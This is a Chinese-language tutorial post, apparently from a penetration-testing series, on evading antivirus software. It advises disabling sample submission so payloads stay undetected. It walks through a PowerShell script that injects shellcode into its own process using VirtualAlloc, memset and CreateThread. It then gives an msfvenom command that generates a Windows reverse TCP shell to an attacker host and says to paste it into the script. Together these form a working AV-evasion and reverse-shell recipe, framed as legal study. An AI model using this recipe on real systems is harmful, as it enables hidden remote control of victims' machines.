**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点 ➢ 防病毒软件概述 ➢本地进程内存注入实践(上)🔥🔥🔥▶ 权限提升
▶ 横向移动
▶ 报告/分析
▶ 教训/修复
目录
[1.3 规避防病毒软件实践](#1.3 规避防病毒软件实践)
[1.3.1 实践流程与注意事项](#1.3.1 实践流程与注意事项)
[1.3.1.1 VirusTotal的局限性](#1.3.1.1 VirusTotal的局限性)
[1.3.1.2 专业测试环境搭建原则](#1.3.1.2 专业测试环境搭建原则)
[1.3.2 开始实践](#1.3.2 开始实践)
[1.3.2.1 确认开启并验证杀毒软件防护功能](#1.3.2.1 确认开启并验证杀毒软件防护功能)
[1.3.2.2 编写脚本:在当前进程(powershell.exe)分配内存并执行新线程](#1.3.2.2 编写脚本:在当前进程(powershell.exe)分配内存并执行新线程)
[3.定义winFunc变量](#3.定义winFunc变量)
[1.3.2.3 生成 PowerShell载荷 (Shellcode)](#1.3.2.3 生成 PowerShell载荷 (Shellcode))
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.防病毒软件规避
1.3 规避防病毒软件实践
最佳实践原则:
-
禁用样本提交:防止分析样本被收录到杀毒软件特征库
-
模拟真实环境:搭建贴近目标环境的专用测试虚拟机
-
代码新颖性:自定义代码可显著降低被现有特征检测的风险
1.3.1 实践流程与注意事项
为了成功对目标实施攻击并规避其防病毒软件,需遵循以下清晰的步骤流程:
-
信息收集:识别并定位目标防护
首要任务是精准识别目标机器所使用的防病毒软件及其具体版本号。这是后续所有针对性工作的基础。
-
方案备选:准备可靠的规避测试平台
若无法确切获知目标防护信息,可将 AntiScan.Me 等承诺不向厂商分享样本的在线扫描工具作为最终备选测试方案,以评估样本的普遍检出率。
-
载荷制作:构建针对性规避样本
基于获得的信息,专门为目标防病毒软件制作或定制化修改攻击载荷(如反向Shell),融入相应的规避技术。
-
环境验证:在模拟环境中测试绕过效果
在装有同款杀毒软件 的本地隔离环境中执行样本,核心验证点是样本能否成功逃逸实时检测与查杀,而不被清除或阻断。
-
功能确认:确保最终攻击意图达成
在规避成功的基础上,最终验证攻击载荷的预期恶意功能(例如建立反向Shell连接)是否完全生效,确保绕过技术不仅隐藏了样本,更保留了其攻击能力。
1.3.1.1 VirusTotal的局限性
| 对比项 | VirusTotal | AntiScan.Me |
|---|---|---|
| 样本处理 | 提交后分享给所有合作厂商 | 承诺不向第三方分享样本 |
| 检测范围 | 60+引擎 | 30个引擎 |
| 使用限制 | 部分功能需API密钥 | 每日4次免费扫描 |
| 隐私风险 | 高(样本公开) | 较低(声称保密) |
⚠️ 注意 :VirusTotal会自动将样本共享给杀毒厂商,导致你的攻击工具很快被标记失效。
🔧 替代方案:AntiScan.Me
-
优势:不分享样本、适合快速检测
-
定位:当不了解目标主机用哪种杀毒软件时,依赖AntiScan.Me工具被认为是最后的手段。
1.3.1.2 专业测试环境搭建原则
⚠️ 再次注意 :无论测试的杀毒产品如何,都应该确保禁用样本提交,以免遇到与VirusTotal相同的缺点。
1.禁用杀毒软件自动提交功能
例:禁用Windows Defender的自动样本提交:
-
打开 Windows安全中心
-
进入 "病毒与威胁防护"
-
点击 "管理设置"
-
取消勾选"自动提交样本"选项
2.搭建环境原则
①环境隔离测试
-
✅ 搭建与目标一致的专用虚拟机
-
✅ 完全关闭所有杀毒软件的云提交功能
-
✅ 测试完成前避免网络暴露
②代码层面规避
-
✅ 优先自定义代码:减少特征匹配概率
-
✅ 多样化实现方式:避免使用公开工具的标准输出
-
✅ 结合内存操作:减少磁盘特征
③测试时机控制
-
开发阶段:保持样本提交关闭
-
验证阶段:仅在最终测试时短暂开启云功能
-
生产环境:确保所有规避措施已生效
1.3.2 开始实践
由于寻找一个能绕过所有杀毒软件 的通用方案极为困难且不切实际,在渗透测试时间有限的前提下,最高效的策略 是针对目标网络内实际部署的特定杀毒产品进行定向测试与绕过。
1.3.2.1 确认开启并验证杀毒软件防护功能
以下以 Windows 11 系统上安装的 Avira Free Security(版本 1.1.68.29553) 为例,演示初步测试流程:
-
启动与导航
启动Avira后,从左侧菜单栏进入
Security(安全) 面板,点击Protection Options(防护选项) 。

-
验证实时防护状态
在该选项页面中,可清晰查看所有当前启用的保护模块。测试必须确保 核心的
Real-Time Protection(实时防护) 功能已开启。这是后续测试有效性的前提。

-
基础检测功能测试
验证杀毒软件是否正常工作的第一步,是使用已知的恶意样本(例如,之前生成的Metasploit攻击载荷)进行测试。
-
操作:将恶意PE文件复制到测试机。
-
结果 :文件传输后立即 触发Avira警报,弹窗明确提示文件已被判定为恶意并遭到阻止 。

-
-
理解杀毒软件的处置方式
此时,杀毒软件通常会执行
威胁隔离操作。具体方式可能包括:-
在内核级别拦截文件的任何读写执行操作。
-
将样本移至一个受加密保护的隔离区,仅杀毒软件自身可访问。
-
关键点总结 :本阶段的目标是确认杀毒软件防护功能已开启且基础检测机制生效,为后续的针对性绕过测试建立准确的基准环境。
1.3.2.2 编写脚本:在当前进程(powershell.exe)分配内存并执行新线程
考虑到目标环境的限制(没安装特有工具的情况下,仅用系统自带的工具),利用 PowerShell 是一种高效的杀毒软件规避途径。本部分将介绍一种远程进程内存注入 的变体技术------针对 PowerShell 解释器自身进程进行内存分配与线程执行。
PowerShell 的独特优势
PowerShell: 的强大之处在于其能直接与 Windows API 交互,使我们能够在脚本中实现原本需编译型语言才能完成的内存操作。这带来了两大规避优势:
检测难度高 :PowerShell 脚本在解释器中运行,本身并非可执行文件,使得杀毒软件难以像分析PE文件一样对其进行静态特征检测。
易于变形 :即使脚本被标记为恶意,也无需重新编译,仅需修改变量名、注释、逻辑结构等即可轻易改变其静态特征,从而绕过基于签名的检测。
PowerShell 被广泛认为是一种 解释语言 ,尽管它在某些方面具有编译语言的特性(如可将脚本编译为字节码以提高性能),但其主要的工作模式仍然是通过解释执行脚本。
解释语言 vs 编译语言
解释语言:
- 代码在运行时逐行解释执行,而不是事先编译成机器代码。
- 典型的解释语言包括 Python、JavaScript 和 Ruby。
编译语言:
- 代码在运行之前需要被编译成机器代码,生成可执行文件。
- 典型的编译语言包括 C、C++ 和 Java(Java 首先编译为字节码,然后在 JVM 中执行)。
以下是一个内存注入 PowerShell 脚本模板:使用PowerShell将一段shellcode注入到进程的内存中 ,涉及到Windows API函数的调用 ,尤其是涉及到内存分配 和线程创建 等功能。并在一个新线程中执行这段shellcode。

其工作流程可分为几个关键步骤:
1.加载外部库(DLLImport)
[DllImport("kernel32.dll")] [DllImport("msvcrt.dll")]
导入Windows系统的C库函数,以便在PowerShell脚本中使用这些低级操作。
2.定义外部函数
变量$code由DLL库导入这些外部函数:
VirtualAlloc函数: 通过操作系统的虚拟内存管理机制,为进程分配一块指定大小的内存区域 ,并返回该内存区域的起始地址。
CreateThread函数: 创建一个新的线程 ,并在指定地址执行代码。
**memset函数:**将内存中的指定部分写入任意数据。
3.定义$winFunc变量
让powshell可以使用上述函数功能:
winFunc = Add-Type -memberDefinition code -Name "Win32" -namespace Win32Functions -passthru;
通过Add-Type 动态地生成一个**.NET类**,并且根据 $code 中的定义(即前面的代码)来定义这个类。
这个类的名字是Win32 ,它会被放在Win32Functions命名空间下。
-passthru 参数 让这个命令返回新创建的类实例,在后续的PowerShell脚本中使用这个类。
4.Shellcode设置
$sc = <place your shellcode here>
将自己的shellcode插入进来,shellcode通常是执行某种恶意操作的机器码。
5.分配内存
x = winFunc::VirtualAlloc(0,$size,0x3000,0x40)
调用 VirtualAlloc 函数在虚拟内存中分配一个大小为 $size 的内存块,具体的内存保护标志是 0x40(表示可执行)。
**第一个参数:**表示要分配内存的地址。 0,则系统会自动选择一个合适的地址来分配内存;
第二个参数$size: 表示要分配的内存大小0x1000(以字节为单位)。
第三个参数: 表示分配内存的类型,通常设置为MEM_COMMIT| MEM_RESERVE。在十六进制中,0x3000 等于 0x1000 | 0x2000,即这两种标志的组合。
0x1000 (MEM_RESERVE): 保留一定范围的虚拟地址空间,但不进行物理内存分配。
**0x2000 (MEM_COMMIT):**提交内存,即为所保留的内存分配物理存储。
第四个参数, 表示内存的保护属性。
在十六进制中,0x40 等于 PAGE_EXECUTE_READWRITE,意味着分配的内存区域 具有可执行、可读、可写的权限,这通常用于执行动态加载的代码或者恶意代码注入。
6.将shellcode写入内存
for (i=0; i -le (sc.Length-1);i++) { winFunc::memset(\[IntPtr\](x.ToInt32()+i), sc[$i], 1)}:
该代码将shellcode一个字节一个字节地写入到分配的内存区域中。
7.创建新线程并执行shellcode
winFunc::CreateThread(0,0,x,0,0,0)
创建一个新的线程、 并将先前分配的内存地址**$x 作为线程的起始地址** ,即新线程会从这个地址开始执行shellcode。
8.保持程序运行
for (;;) { Start-sleep 60 };
这行代码会让脚本持续运行,每60秒进行一次休眠。通常这是为了防止脚本退出 ,保证shellcode 执行线程持续存在。
流程总结与要点
| 步骤 | 关键动作 | 目的与说明 |
|---|---|---|
| 1. 导入API | 调用 kernel32.dll, msvcrt.dll |
获取内存管理 与线程创建等底层操作能力 |
| 2. 封装函数 | 使用 Add-Type 创建 .NET 类 |
使 PowerShell 能直接调用这些原生API |
| 3. 准备载荷 | 填入 Shellcode 字节数组 | 这是需要执行的核心恶意代码 |
| 4. 分配内存 | 调用 VirtualAlloc |
在当前进程空间申请一块可读、可写、可执行(RWX) 的内存 |
| 5. 写入内存 | 循环调用 memset |
将 Shellcode 逐字节拷贝到分配的内存中 |
| 6. 执行线程 | 调用 CreateThread |
创建新线程,其入口点指向 Shellcode 内存地址,从而执行它 |
| 7. 维持存活 | 无限循环休眠 | 防止 PowerShell 脚本退出,确保注入的线程持续运行 |
⚠️ 核心区别 :此技术并非注入到其他远程进程,而是在当前 PowerShell 进程自身的内存空间中完成所有操作,因此更具隐蔽性。
这种方法演示了如何利用 PowerShell 的灵活性和 Windows API 的强大功能,实现一种基础但有效的无文件攻击与内存规避技术。
1.3.2.3 生成 PowerShell载荷 (Shellcode)
为了在规避测试中保持一致性,使用 msfvenom 生成与之前测试相同的 Windows 反向 Shell 载荷,并将其格式化为可直接嵌入前述 PowerShell 脚本的****$sc变量****。
生成命令与参数解析:
bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc
| 参数 | 值 | 说明 |
|---|---|---|
-p |
windows/shell_reverse_tcp |
指定载荷类型为 Windows 反向 TCP Shell。 |
LHOST |
192.168.50.1 |
指定攻击者(监听端)的 IP 地址。 |
LPORT |
443 |
指定攻击者监听的 端口号(通常使用443等常见端口以规避基础防火墙策略)。 |
-f |
powershell |
关键参数 :指定输出格式为 PowerShell 脚本。生成的将是一段能够直接赋值给 PowerShell 变量的字节数组代码。 |
-v |
sc |
指定生成的 PowerShell 代码中,用于存储 Shellcode 字节数组的 变量名称为 sc 。这确保了与上一节注入脚本中 $sc 变量的完美对接。若省略此参数,msfvenom 会使用一个随机变量名。 |

命令功能总结 :此命令将生成一个包含编码后 Shellcode 的 PowerShell 代码块 。当目标机器执行这段代码时,它会尝试与攻击机 192.168.50.1:443 建立 TCP 连接。连接成功后,攻击者将获得一个来自目标机器的 交互式命令行 Shell,从而能够远程执行系统命令。
将上图生成的红框内容,替换 :粘贴并替换到上一节的内存注入脚本模板 中 $sc = <place your shellcode here> 的位置。

至此,一个完整的、可用于测试杀毒软件规避效果的内存注入攻击脚本就已准备完毕,其中包含了实现反向 Shell 功能的核心载荷。
后续下文,将进行验证这个powershell脚本是否可以被防病毒产品检测出来。如果会,则需要对该脚本进行修改,尝试绕过。并最终再次测试,直到成功为止。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
